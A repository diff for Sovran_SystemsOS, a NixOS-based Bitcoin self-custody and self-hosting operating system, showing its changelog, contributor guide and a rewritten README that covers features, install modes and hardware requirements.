Compare commits
1412
Commits
v1.0.0
..
f85f1a2c9f
No files matched your search
+189
@@ -0,0 +1,189 @@
|
||||
# Changelog
|
||||
|
||||
All notable changes to Sovran_SystemsOS will be documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
---
|
||||
|
||||
## [1.0.6] - 2026-08-07
|
||||
|
||||
### Added
|
||||
- Iso: fix replaceStrings length mismatch in cleanVersion
|
||||
- Promote virtual machine trial option in README
|
||||
- Improve installer VM compatibility
|
||||
- Trim redundant dev-vs-stable Gitea explanations in README
|
||||
- Add Arean.Ai to AI tools used for development
|
||||
- Prefix OS version badge with 'v' (v1.0.5)
|
||||
- Match OS version badge styling to service modal version badges
|
||||
- Place OS version badge inline right after the Hub title
|
||||
- Center OS version badge under the Hub title
|
||||
- Strengthen entropy section: add DYOR emphasis and hardware wallet verification note
|
||||
- Add 'About Bitcoin wallet entropy' section to README
|
||||
- README: balance intro between Bitcoin sovereignty and sovereign computing
|
||||
|
||||
### Changed
|
||||
- Removed temp patch file
|
||||
|
||||
### Fixed
|
||||
- Resolve tag range detection and improve release diagnostics
|
||||
- Add token scope diagnostics and un-silence gh release errors
|
||||
- Harden error handling and sanitize exception details across security endpoints (CWE-209)
|
||||
- Sanitize exception handling in verify-integrity and security-reset (CWE-209)
|
||||
- Sanitize api_security_reset errors to prevent exception information exposure (CWE-209)
|
||||
- Use canonical prefix containment check for CodeQL path-injection
|
||||
- Pass sanitized abs_path to os.chown to resolve CodeQL path injection at 4338
|
||||
- Add CodeQL-recognized path sanitization for domain_name
|
||||
- Remove domain substring check for CodeQL incomplete-url
|
||||
- Use sentinel for njalla header check (CodeQL incomplete-url-substring)
|
||||
- Prevent reflected XSS in lnurl-qr print endpoint
|
||||
- Hash root password instead of storing in clear text (CWE-312)
|
||||
- Separate web auth hash from system password file
|
||||
- Fix Matrix Hub admin API credentials
|
||||
- Fix CWE-78: replace subprocess call with Synapse Admin API in create-user endpoint
|
||||
|
||||
### Documentation
|
||||
- Add SECURITY.md detailing security policy and best practices
|
||||
- Versioned CDN downloads + add CDN upload script
|
||||
- Correct active development workflow
|
||||
- Make repo references mirror-neutral for Gitea readers
|
||||
- Clarify GitHub is the dev mirror of the Gitea stable repo
|
||||
[1.0.6]: https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/releases/tag/v1.0.6
|
||||
|
||||
## [1.0.5] - 2026-08-04
|
||||
|
||||
### Added
|
||||
- LND Update to v0.21.1-beta
|
||||
- Nixpkgs Update
|
||||
- Nixpkgs Update
|
||||
- Update LND REST Zeus Connect instructions and design to match NWC exactly
|
||||
- UI: Align LND REST and NWC Zeus connection instructions styling
|
||||
- Make Zeus LND REST instructions coherent with NWC Zeus connect guide
|
||||
- Clarify Zeus NWC wallet setup
|
||||
- Make Manual Backup match the system role (Desktop Only scope)
|
||||
- Reload Caddy immediately when a domain (or ACME email) is saved
|
||||
- Unify Njal.la + router port-forwarding guidance across onboarding and feature enable modals
|
||||
- Enhance Lightning Wallet Connect modal with professional benefits grid and refined messaging
|
||||
|
||||
### Fixed
|
||||
- Resolve 'vdev' version badge and align it under the Hub title
|
||||
- Align release script with Gitea staging-dev and stable branch workflow
|
||||
- Auto-detect git remotes and clean up temp files in release-stable.sh
|
||||
|
||||
### Documentation
|
||||
- Write real v1.0.4 changelog and auto-generate release notes in release script
|
||||
[1.0.5]: https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/releases/tag/v1.0.5
|
||||
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
### Fixed
|
||||
- Report the version of the configured BTCPay Server package in the Hub instead of the different package version from unstable nixpkgs.
|
||||
- Installer VM compatibility: legacy BIOS VM boots now install with GRUB, UEFI VM installs avoid depending on NVRAM boot-entry writes, VM users get clearer disk/resource guidance, and the internet check falls back to HTTPS when ICMP is blocked.
|
||||
- **Manual Backup now matches the system role**: on the Desktop Only role the Hub's
|
||||
"What gets backed up" list no longer shows Node / Server + Desktop items
|
||||
(nix-bitcoin secrets, `/var/lib` system service data, and the database/blockchain
|
||||
caveats), and the backup script skips those stages entirely — Desktop Only backups
|
||||
now mirror only the NixOS configuration (`/etc/nixos`) and home directory (`/home`).
|
||||
The free-space estimate, stage numbering, backup manifest, and completion message
|
||||
are all role-aware; Node and Server + Desktop backups are unchanged.
|
||||
|
||||
---
|
||||
|
||||
## [1.0.4] - 2026-07-29
|
||||
|
||||
### Added
|
||||
- **Lightning Wallet Connections (NWC)** — Hub-managed Nostr Wallet Connect powered by Alby Hub + LND:
|
||||
- Create, view, and delete wallet connections directly from the Sovran Hub with a tabbed modal UI
|
||||
- Downloadable/printable LNURL QR codes for connecting external wallets
|
||||
- Channel liquidity guide and onboarding guidance for new LND nodes
|
||||
- Unique-hostname enforcement with conflict validation and UI guidance
|
||||
- Official NWC branding and logo
|
||||
- **Version visibility across the Hub**:
|
||||
- Sovran_SystemsOS version badge displayed under the Hub title
|
||||
- Version numbers shown on all Hub service tiles and next to service modal titles
|
||||
- Deployed PHP app versions surfaced in service titles
|
||||
- Build-time version reference file (`VERSION`) so version lookups are instantaneous and consistent
|
||||
- **Automated stable release workflow** (`scripts/release-stable.sh`) with versioned ISO naming from the `VERSION` file
|
||||
- `CONTRIBUTING.md` and expanded project documentation
|
||||
|
||||
### Changed
|
||||
- **Manual Backup overhauled**: replaced tar+DB+LND archive approach with a reliable ext4 + rsync workflow, including
|
||||
mount checks, path safety, atomic completion markers, stale-marker cleanup, and behavioral test coverage
|
||||
- **Port-forwarding UX simplified**: removed onboarding Step 4 and the misleading local "ready" status;
|
||||
Njal.la DDNS now runs automatically when the feature is enabled
|
||||
- README restructured for clarity, links, and accuracy; added router/ISP port-forwarding requirements
|
||||
for Server + Desktop mode; acknowledged LiveKit and Alby Hub
|
||||
- Updated nixpkgs and Bitcoin clients
|
||||
- Repository cleanup: removed unused `.github`, `.tests`, `nix/`, and `docs/ai` directories
|
||||
|
||||
### Fixed
|
||||
- NWC wallet certificate path wiring (now uses the nix-bitcoin LND cert path)
|
||||
- Deterministic LND/Alby Hub port collision
|
||||
- Alby Hub executable resolution and v1.23.0 patches regenerated against exact upstream source
|
||||
- Manual Backup exit-code failures (bash/gawk in service PATH, tar tolerance, flock, browser-cache exclusions)
|
||||
- rsync destination-directory failures in backups (auto `mkdir -p`, mount check, 19 behavioral tests)
|
||||
- `sovran-hosts-update` converted to `writeShellApplication` with explicit runtime inputs
|
||||
- Incorrect `lib.mkIf` usage in the NWC wallets module
|
||||
- Duplicate systemd LND strings
|
||||
- `git fetch` tag-clobber errors against Gitea (now uses `--force`)
|
||||
|
||||
### Security
|
||||
- Hardened Lightning Wallet Connections (NWC): restricted `ReadOnlyPaths` for the unlock password,
|
||||
fixed an Authorization-header bug, eliminated stack-trace exposure flagged by CodeQL,
|
||||
and tightened credential access and amount validation
|
||||
|
||||
[1.0.4]: https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/releases/tag/v1.0.4
|
||||
|
||||
|
||||
## [1.0.3] - 2026-07-29
|
||||
|
||||
### Added
|
||||
- Incremental stable updates
|
||||
|
||||
## [1.0.2] - 2026-07-29
|
||||
|
||||
### Added
|
||||
- Incremental stable updates
|
||||
|
||||
## [1.0.1] - 2026-07-29
|
||||
|
||||
### Added
|
||||
- Incremental stable updates
|
||||
|
||||
## [1.0.0] - 2026-07-29
|
||||
|
||||
### Added
|
||||
- Initial stable release of Sovran_SystemsOS
|
||||
- Full Bitcoin self-custody desktop environment
|
||||
- Integrated Sparrow Wallet, Bisq, and Bisq 2
|
||||
- Comprehensive Sovran Hub for service management
|
||||
- NixOS-based operating system with privacy and sovereignty focus
|
||||
- Support for Bitcoin Knots + BIP110, Electrs, LND, Ride The Lightning, BTCPay Server, and more
|
||||
- Server + Desktop hybrid mode with Matrix, Nextcloud, VaultWarden, and other self-hosted services
|
||||
- Automated installer with graphical GNOME desktop
|
||||
- Tor integration and onion services for all major components
|
||||
- Remote desktop (GNOME Remote Desktop) support
|
||||
- Role-based system configuration (desktop, server, server+desktop)
|
||||
- Detailed service credential management in the Sovran Hub
|
||||
|
||||
### Changed
|
||||
- Moved from development/main branch to dedicated `stable` branch for production releases
|
||||
|
||||
### Security
|
||||
- All services run with least-privilege principles where possible
|
||||
- Secrets stored in `/var/lib/secrets/`
|
||||
- Strong emphasis on user-controlled keys and self-sovereignty
|
||||
|
||||
---
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
### Added
|
||||
- (Nothing yet)
|
||||
|
||||
[1.0.3]: https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/releases/tag/v1.0.3
|
||||
[1.0.2]: https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/releases/tag/v1.0.2
|
||||
[1.0.1]: https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/releases/tag/v1.0.1
|
||||
[1.0.0]: https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/releases/tag/v1.0.0
|
||||
+112
@@ -0,0 +1,112 @@
|
||||
# Contributing to Sovran Systems OS
|
||||
|
||||
First off, thank you for considering contributing to Sovran_SystemsOS! 🎉
|
||||
|
||||
## Development and Release Repositories
|
||||
|
||||
The GitHub repository is the primary location for Sovran_SystemsOS development
|
||||
and collaboration and serves as the project's connection to the GitHub
|
||||
ecosystem. Most work is contributed through feature branches and pull requests
|
||||
that target GitHub `main`. Development may also begin in a local branch or on
|
||||
`staging-dev` at the project's self-hosted Gitea instance:
|
||||
https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS.
|
||||
|
||||
GitHub `main` and Gitea `staging-dev` are kept synchronized as the active
|
||||
development line, although one may briefly lead the other while changes are
|
||||
being integrated. The canonical, release-ready code is maintained on Gitea's
|
||||
[`stable` branch](https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/src/branch/stable),
|
||||
in keeping with the self-sovereignty ethos of Sovran_SystemsOS.
|
||||
|
||||
The workflow is:
|
||||
|
||||
1. Most development and project collaboration — including issues, pull
|
||||
requests, and reviews — happens through GitHub, with completed work
|
||||
integrated into `main`.
|
||||
2. Work may also originate locally or on Gitea `staging-dev`. Accepted changes
|
||||
are synchronized between GitHub `main` and Gitea `staging-dev`.
|
||||
3. When changes are complete and tested, they are promoted to Gitea `stable`,
|
||||
which is the code used by released Sovran_SystemsOS builds.
|
||||
|
||||
Please note: GitHub `main` and Gitea `staging-dev` may contain new features and
|
||||
code not yet in `stable`, and that code may not be fully tested.
|
||||
|
||||
Moreover, Sovran_SystemsOS has been improved with the help of AI. We have used Copilot and Arena.ai to work through significant coding challenges and troubleshooting hurdles. We will continue to use AI to help keep Sovran_SystemsOS stable and maintained.
|
||||
|
||||
## How Can I Contribute?
|
||||
|
||||
### 🐛 Reporting Bugs
|
||||
- Open an [Issue](https://github.com/naturallaw777/Sovran_SystemsOS/issues)
|
||||
- Use a clear and descriptive title
|
||||
- Describe the steps to reproduce the bug
|
||||
- Include your OS version, hardware specs, and any relevant logs
|
||||
|
||||
### 💡 Suggesting Features
|
||||
- Open an [Issue](https://github.com/naturallaw777/Sovran_SystemsOS/issues) with the tag `enhancement`
|
||||
- Explain the feature and why it would be useful
|
||||
- Be as detailed as possible
|
||||
|
||||
### 🔧 Submitting Code Changes
|
||||
|
||||
#### 1. Fork the Repository
|
||||
Click the "Fork" button at the top right of the GitHub repository.
|
||||
|
||||
#### 2. Clone Your Fork
|
||||
```bash
|
||||
git clone https://github.com/YOUR_USERNAME/Sovran_SystemsOS.git
|
||||
cd Sovran_SystemsOS
|
||||
```
|
||||
|
||||
#### 3. Create a Feature Branch
|
||||
```bash
|
||||
git checkout -b feature/your-feature-name
|
||||
```
|
||||
|
||||
#### 4. Make Your Changes
|
||||
- Write clean, well-commented code
|
||||
- Follow the existing code style and structure
|
||||
- Test your changes thoroughly
|
||||
|
||||
#### 5. Commit Your Changes
|
||||
```bash
|
||||
git add .
|
||||
git commit -m "Brief description of your changes"
|
||||
```
|
||||
|
||||
#### 6. Push to Your Fork
|
||||
```bash
|
||||
git push origin feature/your-feature-name
|
||||
```
|
||||
|
||||
#### 7. Open a Pull Request
|
||||
- Go to the original repository on GitHub
|
||||
- Click "New Pull Request"
|
||||
- Select your fork and branch
|
||||
- Provide a clear title and description of your changes
|
||||
- Reference any related Issues (e.g., "Closes #12")
|
||||
|
||||
## Pull Request Guidelines
|
||||
|
||||
- **One PR per feature/fix.** Do not bundle unrelated changes.
|
||||
- **Keep PRs small and focused.** Smaller PRs are easier to review and merge.
|
||||
- **Write meaningful commit messages.**
|
||||
- **Do not push directly to `main`.** Always use a feature branch and open a PR.
|
||||
- **Be patient.** PRs will be reviewed as soon as possible.
|
||||
|
||||
## Security-Sensitive Changes
|
||||
|
||||
- Report vulnerabilities privately as described in [`SECURITY.md`](SECURITY.md).
|
||||
- Pin upstream revisions and hashes; do not use floating source references.
|
||||
- Update [`THIRD_PARTY_NOTICES.md`](THIRD_PARTY_NOTICES.md) when importing code.
|
||||
- Add regression tests and describe any threat-model change in the pull request.
|
||||
|
||||
## Code Style
|
||||
|
||||
- Follow the existing patterns in the codebase
|
||||
- Comment your code where necessary
|
||||
- Keep functions small and focused
|
||||
|
||||
## Code of Conduct
|
||||
|
||||
By participating in this project, you agree to be respectful and constructive.
|
||||
We are building something meaningful — let's do it together with integrity.
|
||||
|
||||
@@ -1,151 +1,861 @@
|
||||
<div align="center">
|
||||
|
||||
<img src="iso/assets/sovran-hub-icon.svg" alt="Sovran Systems" width="160" />
|
||||
<img src="iso/assets/sovran-hub-icon.svg" alt="Sovran Systems logo" width="160" />
|
||||
|
||||
# Sovran_SystemsOS
|
||||
|
||||
`Base Development` · NixOS Flake · AGPL-3.0
|
||||
### Bitcoin sovereignty. Sovereign computing. One system.
|
||||
|
||||
[Sovran Systems](https://sovransystems.com)
|
||||
Sovran_SystemsOS is a free and open-source operating system built for two
|
||||
inseparable freedoms: **Bitcoin self-custody** and **sovereign computing**.
|
||||
Hold your own keys, trade peer-to-peer, and verify your own money with your
|
||||
own node. Then claim that same uncompromising ownership over the rest of your
|
||||
digital life — your files, communications, passwords, and websites — all on
|
||||
hardware you control, running auditable open-source software you can trust.
|
||||
|
||||
Every installation is a private [NixOS](https://nixos.org) desktop with
|
||||
[Sparrow Wallet](https://sparrowwallet.com), [Bisq](https://bisq.network), and
|
||||
[Bisq 2](https://github.com/bisq-network/bisq2) ready to use. Move beyond
|
||||
custodial exchanges from the first boot, and grow into your own Bitcoin node,
|
||||
Lightning infrastructure, private cloud, and communications platform when you
|
||||
are ready.
|
||||
|
||||
[Visit the Website](https://sovransystems.com) ·
|
||||
[Download the ISO](https://downloads.sovransystems.com/Sovran_SystemsOS-1.0.6.iso) ·
|
||||
[Try it safely in a VM](#try-it-first-in-a-virtual-machine) ·
|
||||
[Verify the Download](https://downloads.sovransystems.com/Sovran_SystemsOS-1.0.6.iso.sha256) ·
|
||||
[Build from Source](#build-from-source)
|
||||
|
||||
<img src="assets/desktop-screenshot.png" alt="Sovran_SystemsOS private Bitcoin desktop" width="800" />
|
||||
|
||||
*Bitcoin sovereignty from the first boot.*
|
||||
|
||||
</div>
|
||||
|
||||
---
|
||||
|
||||
## Table of Contents
|
||||
|
||||
1. [What This Repo Is](#what-this-repo-is)
|
||||
2. [Architecture](#architecture)
|
||||
3. [Module Catalog](#module-catalog)
|
||||
4. [The Three Modes (internal reference)](#the-three-modes-internal-reference)
|
||||
5. [Build & Deploy Reference](#build--deploy-reference)
|
||||
6. [Networking & Reverse Proxy](#networking--reverse-proxy)
|
||||
7. [Security Posture](#security-posture)
|
||||
8. [Backups & Recovery](#backups--recovery)
|
||||
9. [License](#license)
|
||||
> **📌 Active development on GitHub `main` / Gitea `staging-dev` — releases on
|
||||
> [Gitea `stable`](https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/src/branch/stable).**
|
||||
> See [Development workflow](#development-workflow) for details.
|
||||
|
||||
---
|
||||
|
||||
## What This Repo Is
|
||||
## Contents
|
||||
|
||||
Sovran_SystemsOS is defined entirely as a **Nix flake** (`flake.nix`) and built from source. There is no pre-built binary — the System Installer is produced from this tree. Everything the system does is declared here.
|
||||
- [Why Sovran_SystemsOS?](#why-sovran_systemsos)
|
||||
- [Try it first in a virtual machine](#try-it-first-in-a-virtual-machine)
|
||||
- [What is included](#what-is-included)
|
||||
- [Three modes](#three-modes)
|
||||
- [Use it your way](#use-it-your-way)
|
||||
- [The Sovran Hub](#the-sovran-hub)
|
||||
- [Install Sovran_SystemsOS](#install-sovran_systemsos)
|
||||
- [For developers](#for-developers)
|
||||
- [Development workflow](#development-workflow)
|
||||
- [Build from source](#build-from-source)
|
||||
- [Publishing a release](#publishing-a-release)
|
||||
- [About Bitcoin wallet entropy](#about-bitcoin-wallet-entropy)
|
||||
- [Security approach](#security-approach)
|
||||
- [Acknowledgements](#acknowledgements)
|
||||
- [License](#license) · [Contributing](#contributing)
|
||||
|
||||
The control center is the **Hub** — a built-in panel that lets the operator launch, monitor, and toggle services without touching a terminal. Under the hood, the Hub writes to `custom.nix`, which feeds back into the flake.
|
||||
---
|
||||
|
||||
## Architecture
|
||||
## Why Sovran_SystemsOS?
|
||||
|
||||
```
|
||||
┌─────────────────────────┐
|
||||
│ flake.nix │
|
||||
│ inputs: nixpkgs, │
|
||||
│ nix-bitcoin, nixvim, │
|
||||
│ btc-clients │
|
||||
└───────────┬─────────────┘
|
||||
│ nixosModules.Sovran_SystemsOS
|
||||
▼
|
||||
┌──────────────────────────┐ imports ┌──────────────────────────┐
|
||||
│ configuration.nix │────────────▶│ modules/modules.nix │
|
||||
│ boot / fs / users / │ │ core/* + services + opt │
|
||||
│ desktop / nix settings │ │ features │
|
||||
└──────────────────────────┘ └──────────┬───────────────┘
|
||||
▲ │
|
||||
│ ./role-state.nix (mode/role) ▼
|
||||
│ ./custom.nix (user overrides) ┌────────────────────┐
|
||||
│ │ modules/*.nix │
|
||||
└───────── sovran-hub writes ───────▶│ synapse / wordpress│
|
||||
│ nextcloud / etc. │
|
||||
└────────────────────┘
|
||||
```
|
||||
Bitcoin lets you hold and transfer value without asking a bank, exchange, or
|
||||
custodian for permission. But that freedom depends on the software and
|
||||
infrastructure you choose. Your wider digital life works the same way: files,
|
||||
messages, and passwords kept on someone else's servers are never fully yours.
|
||||
|
||||
- **`flake.nix`** declares two NixOS configurations:
|
||||
- `nixosConfigurations.nixos` — the running system.
|
||||
- `nixosConfigurations.sovran_systemsos-iso` — the System Installer.
|
||||
- **`configuration.nix`** owns host concerns (boot, filesystems, users, desktop, locale, Nix settings, firewall, audio, backups).
|
||||
- **`modules/modules.nix`** is the service router. Every other module is opt-in via flags read from `role-state.nix` and `custom.nix`.
|
||||
Sovran_SystemsOS solves both with one operating system:
|
||||
|
||||
## Module Catalog
|
||||
- **Hold your own keys** with Sparrow Wallet. Create and manage wallets,
|
||||
connect hardware signing devices, use multisignature setups, build and
|
||||
inspect transactions, and control UTXOs and coin selection.
|
||||
- **Buy and sell Bitcoin peer-to-peer** with Bisq and Bisq 2. No central
|
||||
company holds user funds, and no exchange account stands between buyers and
|
||||
sellers.
|
||||
- **Verify your own Bitcoin** with a full node: [Bitcoin
|
||||
Knots](https://bitcoinknots.org) and
|
||||
[Electrs](https://github.com/romanz/electrs), so your wallets connect to
|
||||
*your* node instead of a stranger's.
|
||||
- **Use Lightning** with [LND](https://github.com/lightningnetwork/lnd) and
|
||||
[Ride The Lightning](https://github.com/Ride-The-Lightning/RTL).
|
||||
- **Accept Bitcoin directly** with [BTCPay Server](https://btcpayserver.org),
|
||||
with no payment processor in the middle.
|
||||
- **Own the rest of your digital life** with
|
||||
[Nextcloud](https://nextcloud.com) files and calendars,
|
||||
[Matrix](https://matrix.org) communications, a
|
||||
[Vaultwarden](https://github.com/dani-garcia/vaultwarden) password vault,
|
||||
and your own [WordPress](https://wordpress.org) website.
|
||||
- **Protect your network privacy** with [Tor](https://www.torproject.org)
|
||||
integration across the Bitcoin stack.
|
||||
- **Control everything from the Sovran Hub**, on the desktop or from any
|
||||
browser on your local network.
|
||||
|
||||
Defaults follow the import order in `modules/modules.nix`. Toggles live in `custom.nix` (the Hub writes them) and `role-state.nix`.
|
||||
No custodian needs to hold your Bitcoin. No outside node needs to tell your
|
||||
wallet what happened on the network. No third-party cloud needs to control
|
||||
your data or services.
|
||||
|
||||
| Module | Default | Purpose |
|
||||
Other projects solve one piece of this puzzle: a Linux distribution that can
|
||||
run a wallet, a node project that runs Bitcoin services, a self-hosting stack
|
||||
that replaces a cloud app. Sovran_SystemsOS brings those worlds together and
|
||||
makes them approachable: Bitcoin tools from the first boot, a complete path
|
||||
from desktop to node to self-hosting, one control center, hardware you own,
|
||||
and a reproducible, auditable NixOS foundation.
|
||||
|
||||
> Sovran_SystemsOS provides tools for self-custody and peer-to-peer Bitcoin
|
||||
> use. Users remain responsible for protecting their keys, understanding their
|
||||
> trades, following applicable laws, and maintaining secure backups.
|
||||
|
||||
---
|
||||
|
||||
## Try it first in a virtual machine
|
||||
|
||||
**Curious, but not ready to replace your current operating system?** Start with
|
||||
Sovran_SystemsOS in a virtual machine (VM). A VM runs Sovran_SystemsOS in a
|
||||
window on your existing Windows, macOS, or Linux computer, using a virtual disk
|
||||
file instead of your computer's internal drive. You can explore the desktop,
|
||||
Sovran Hub, Sparrow, Bisq, and the installation experience before changing how
|
||||
you use any physical machine.
|
||||
|
||||
This is a low-commitment way to decide whether Sovran_SystemsOS is right for
|
||||
you:
|
||||
|
||||
- **Keep your current OS.** Closing or deleting the VM leaves the host operating
|
||||
system in place.
|
||||
- **Learn at your own pace.** Familiarize yourself with the desktop and tools
|
||||
without needing to make it your daily computer on day one.
|
||||
- **Choose your next step with confidence.** When you are ready, install it on
|
||||
a dedicated computer, or keep using the VM as a learning environment.
|
||||
|
||||
You can use the same ISO with [VirtualBox](https://www.virtualbox.org), VMware,
|
||||
QEMU/KVM, Proxmox, and similar x86_64 VM software. For a first look, select
|
||||
**Desktop Only**, allocate at least **8 GB RAM**, and create a **256 GB or
|
||||
larger dynamically allocated virtual disk**. The full VM setup and installer
|
||||
requirements are in [Installing in a virtual machine](#installing-in-a-virtual-machine-optional).
|
||||
|
||||
> **A VM is for evaluation and learning, not a substitute for a dedicated,
|
||||
> hardened setup.** Do not use a trial VM to hold meaningful Bitcoin, recovery
|
||||
> phrases, passwords, or other sensitive data. Avoid attaching physical drives
|
||||
> to the VM, and be deliberate about shared folders, clipboard sharing, and
|
||||
> network settings. The installer only changes the disk you select, but you
|
||||
> should always review VM disk selections before confirming an install.
|
||||
|
||||
---
|
||||
|
||||
## What is included
|
||||
|
||||
Depending on the selected mode and enabled features, Sovran_SystemsOS brings
|
||||
together a growing collection of private, open-source tools. The Sovran Hub
|
||||
presents and manages the features available on your system.
|
||||
|
||||
### Your money — Bitcoin sovereignty
|
||||
|
||||
- Bitcoin Knots, Electrs, and Tor integration
|
||||
- LND and Ride The Lightning, with [Alby Hub](https://albyhub.com) for Nostr
|
||||
Wallet Connect (NWC) connections
|
||||
- BTCPay Server
|
||||
- Sparrow Wallet, Bisq, and Bisq 2, with automatic wallet-to-node connections
|
||||
- Optional: a self-hosted [Mempool](https://github.com/mempool/mempool)
|
||||
explorer, or Bitcoin Core in place of Knots
|
||||
|
||||
Run your own Bitcoin infrastructure. Verify your own money. Trust no one.
|
||||
|
||||
### Your voice — private communications
|
||||
|
||||
- The [Synapse](https://github.com/element-hq/synapse) homeserver (Matrix) and
|
||||
the [Element](https://element.io) client
|
||||
- Optional Matrix-native Element audio and video calling, powered by
|
||||
[LiveKit](https://livekit.io)
|
||||
- Optional [Haven](https://github.com/bitvora/haven)
|
||||
[Nostr](https://github.com/nostr-protocol/nostr) relay
|
||||
|
||||
Communicate without making Big Tech the owner of your identity or
|
||||
conversations.
|
||||
|
||||
### Your cloud — self-hosting and storage
|
||||
|
||||
- Nextcloud files, calendars, and contacts
|
||||
- Vaultwarden password vault
|
||||
- WordPress websites
|
||||
- [Caddy](https://caddyserver.com) with private service domains
|
||||
- Optional remote desktop
|
||||
|
||||
Keep your files, passwords, calendar, contacts, website, and services on
|
||||
hardware you control.
|
||||
|
||||
### Your desktop
|
||||
|
||||
- [GNOME](https://www.gnome.org) desktop
|
||||
- [Brave](https://brave.com) and
|
||||
[Firefox](https://www.mozilla.org/firefox) browsers
|
||||
- File management, email, calendar, and office applications
|
||||
- System monitoring and administration tools
|
||||
|
||||
---
|
||||
|
||||
## Three modes
|
||||
|
||||
Every mode shares the same foundation: the private NixOS and GNOME desktop,
|
||||
the Sovran Hub, and Sparrow, Bisq, and Bisq 2. What changes is how much
|
||||
Bitcoin and self-hosting infrastructure runs on the machine.
|
||||
|
||||
| Mode | Best for | What you get |
|
||||
|---|---|---|
|
||||
| `core/*` | **on** | Roles, Caddy, Njalla, Hub, desktop, perf, ssh-bootstrap |
|
||||
| `php.nix`, `credentials.nix` | **on** | Required by web services & secrets |
|
||||
| `synapse.nix` | **on** | Matrix homeserver |
|
||||
| `wordpress.nix` | **on** | WordPress + PHP-FPM vhost |
|
||||
| `nextcloud.nix` | **on** | Files / calendar / contacts |
|
||||
| `vaultwarden.nix` | **on** | Bitwarden-compatible secrets vault |
|
||||
| `bitcoinecosystem.nix` | **on** | bitcoind/electrs/LND/RTL/BTCPay (over Tor) |
|
||||
| `wallet-autoconnect.nix` | **on** | Sparrow/Bisq ↔ node handshake |
|
||||
| `haven.nix` | off | Nostr relay |
|
||||
| `element-calling.nix` | off | LiveKit + JWT for E2E calling |
|
||||
| `mempool.nix` | off | Mempool.space dashboard |
|
||||
| `bitcoin-core.nix` | off | Switch node to Bitcoin Core (replaces default Bitcoin Knots + BIP110) |
|
||||
| `rdp.nix` | off | xrdp remote desktop |
|
||||
| `sshd.nix` | off | Public-facing OpenSSH |
|
||||
| **Desktop** | Everyday users and computers with modest hardware | Sparrow, Bisq, and Bisq 2 for self-custody and peer-to-peer Bitcoin use |
|
||||
| **Node** | People ready to verify and operate their own Bitcoin infrastructure | Everything in Desktop, plus the full Bitcoin stack: Bitcoin Knots, Electrs, LND, Ride The Lightning, BTCPay Server, and wallet-to-node connections |
|
||||
| **Server + Desktop** | Bitcoiners who want the same sovereignty over their communications, cloud, passwords, and web services | The complete Node stack, plus the private self-hosted services |
|
||||
|
||||
> Tor is wired directly into the Bitcoin stack. In `modules/bitcoinecosystem.nix`, `bitcoind`, `electrs`, and `lnd` all set `tor.enforce = true` and `tor.proxy = true`, and onion services are exposed for them.
|
||||
**Desktop: start with your keys.** Desktop is not a reduced or Bitcoin-free
|
||||
edition. It is a complete, private everyday computer with a clean GNOME
|
||||
desktop, Tor, and the Sovran Hub, giving you a lower-hardware path to
|
||||
self-custody and non-KYC Bitcoin tools from the first boot. You do not need a
|
||||
fully synchronized node to begin; move to Node mode when your hardware,
|
||||
storage, and needs are ready.
|
||||
|
||||
## The Three Modes (internal reference)
|
||||
**Node: verify your own money.** Instead of asking someone else's server
|
||||
about your wallet and transactions, you operate the infrastructure that
|
||||
performs the verification. Your node verifies. Your wallet connects to it.
|
||||
Your keys remain yours.
|
||||
|
||||
Selected by `role-state.nix`, resolved by `modules/core/role-logic.nix`. All three configurations are produced from this same flake.
|
||||
**Server + Desktop: sovereignty beyond money.** Bitcoin sovereignty is the
|
||||
foundation. Server + Desktop applies the same principle to your data,
|
||||
communications, identity, and services.
|
||||
|
||||
| Mode | What's enabled on top of the base NixOS + GNOME |
|
||||
|---|---|
|
||||
| **Desktop** | Private daily-driver. Sparrow + Bisq included. |
|
||||
| **Node** | Desktop + full Bitcoin stack (bitcoind/electrs/LND/RTL/BTCPay over Tor). |
|
||||
| **Server+Desktop** | Node + self-hosting services (Synapse, Nextcloud, WordPress, Vaultwarden, Element Calling, etc.). |
|
||||
### Recommended hardware
|
||||
|
||||
## Build & Deploy Reference
|
||||
| | **Desktop** | **Node** | **Server + Desktop** |
|
||||
|---|---|---|---|
|
||||
| Processor | 64-bit Intel or AMD, ~2015 or newer | Intel or AMD x86, ~3 years old or newer | Same as Node |
|
||||
| RAM | 8 GB | 16 GB | 32 GB |
|
||||
| Storage | 256 GB SSD | 500 GB NVMe (OS) + 2 TB NVMe (timechain) | Same as Node |
|
||||
| Network | Any broadband | Unmetered, ~200 Mbps down / 50 Mbps up | Same as Node |
|
||||
| Also needed | — | — | A domain for publicly accessible services |
|
||||
|
||||
Internal commands. Run from the flake root.
|
||||
> **Before choosing Server + Desktop:** this mode makes services reachable from
|
||||
> the public internet, which means opening specific ports on your home network.
|
||||
> Before you start, confirm three things: you can log in to your router's admin
|
||||
> panel, the panel includes a port-forwarding section, and your internet
|
||||
> provider allows port forwarding. Most home routers and providers already
|
||||
> support this. If you are unsure, a quick search for your router model and
|
||||
> "port forwarding" will usually turn up a step-by-step guide.
|
||||
|
||||
| Action | Command |
|
||||
|---|---|
|
||||
| Build the System Installer | `nix build .#nixosConfigurations.sovran_systemsos-iso.config.system.build.isoImage` |
|
||||
| Switch now | `sudo nixos-rebuild switch --flake .#nixos` |
|
||||
| Test in current boot only | `sudo nixos-rebuild test --flake .#nixos` |
|
||||
| Stage for next boot | `sudo nixos-rebuild boot --flake .#nixos` |
|
||||
| Build only (no activation) | `nixos-rebuild build --flake .#nixos` |
|
||||
| Update pinned inputs | `nix flake update` (then rebuild) |
|
||||
| Rollback last switch | `sudo nixos-rebuild switch --rollback` |
|
||||
| Garbage-collect (>7 days) | Automatic weekly; manual: `sudo nix-collect-garbage -d` |
|
||||
---
|
||||
|
||||
## Networking & Reverse Proxy
|
||||
